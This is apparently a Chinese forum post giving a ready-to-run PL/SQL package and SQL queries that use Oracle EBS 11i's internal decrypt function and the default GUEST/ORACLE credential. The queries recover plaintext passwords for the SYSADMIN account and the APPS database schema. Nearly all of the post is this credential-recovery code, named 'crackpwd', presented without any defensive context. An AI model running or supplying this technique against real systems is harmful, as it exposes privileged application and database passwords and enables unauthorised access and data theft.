查询EBS 11i 用户名密码
1、建立package[*]CREATE OR REPLACE Package Gggcrackpwd Authid Current_User As
[*]Function Getpwd(Orauser In Varchar2, Appuserpwd In Varchar2)
[*] Return Varchar2;
[*]End Gggcrackpwd;
[*]
[*]/
[*]
[*]CREATE OR REPLACE Package Body Gggcrackpwd As
[*]Function Getpwd(Orauser In Varchar2, Appuserpwd In Varchar2) Return Varchar2 As
[*]Language Java Name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String)
[*]return java.lang.String';
[*]End Gggcrackpwd;
[*]/
2、如下SQL查询
[*]--ebs系统用户
[*]Select T1.User_Name Username,
[*] Gggcrackpwd.Getpwd((Select Gggcrackpwd.Getpwd('GUEST/ORACLE',
[*] (Select t.Encrypted_Foundation_Password
[*] From Fnd_User t
[*] Where t.User_Name =
[*] 'GUEST'))
[*] From Dual),
[*] T1.Encrypted_User_Password) Password,
[*] T1.End_Date
[*]From Fnd_User T1
[*] Where User_Name = Upper('sysadmin');
[*]
[*]--EBS 数据库用户
[*]Select T1.Oracle_Username,
[*] Gggcrackpwd.Getpwd((Select Gggcrackpwd.Getpwd('GUEST/ORACLE',
[*] (Select t.Encrypted_Foundation_Password
[*] From Fnd_User t
[*] Where t.User_Name =
[*] 'GUEST'))
[*] From Dual),
[*] T1.Encrypted_Oracle_Password) Password,
[*] T1.Enabled_Flag
[*]From Fnd_Oracle_Userid T1
[*] Where T1.Oracle_Username = Upper('APPS'); --APPLSYS, APPLSYSPUB/PUB
[*]
[*] --ebs 主机用户
[*] Select * From QPER_UPLOAD_PROFILE;
注释：guest用户默认密码是ORACLE， 这里可以用任何'用户名/密码'替换'GUEST/ORACLE'
页:
[1]